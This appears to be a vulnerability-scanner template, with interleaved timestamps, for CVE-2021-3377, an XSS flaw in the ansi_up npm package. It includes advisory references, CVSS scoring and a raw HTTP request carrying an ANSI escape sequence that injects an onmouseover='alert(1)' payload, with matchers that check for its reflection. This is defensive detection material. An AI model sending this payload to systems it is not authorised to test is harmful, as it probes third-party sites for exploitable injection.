2021-07-26 17:18:45 +00:00
id : CVE-2021-3377
info :
name : Ansi_up XSS
description : The npm package ansi_up converts ANSI escape codes into HTML. In ansi_up v4, ANSI escape codes can be used to create HTML hyperlinks. Due to insufficient URL sanitization, this feature is affected by a cross-site scripting (XSS) vulnerability. This issue is fixed in v5.0.0.
2021-08-18 11:37:49 +00:00
reference :
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- https://doyensec.com/resources/Doyensec_Advisory_ansi_up4_XSS.pdf
- https://github.com/drudru/ansi_up/commit/c8c726ed1db979bae4f257b7fa41775155ba2e27
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author : geeknik
severity : medium
2021-09-09 13:38:13 +00:00
tags : cve,cve2021,xss,npm
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.10
cve-id : CVE-2021-3377
cwe-id : CWE-79
2021-07-26 17:18:45 +00:00
requests :
- raw :
- |+
GET /\u001B]8;;https://example.com"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007 HTTP/1.1
Host : {{Hostname}}
Connection : close
unsafe : true
matchers-condition : and
matchers :
- type : word
part : header
words :
- "text/html"
- type : word
words :
- "com\"/onmouseover=\"alert(1)\">"
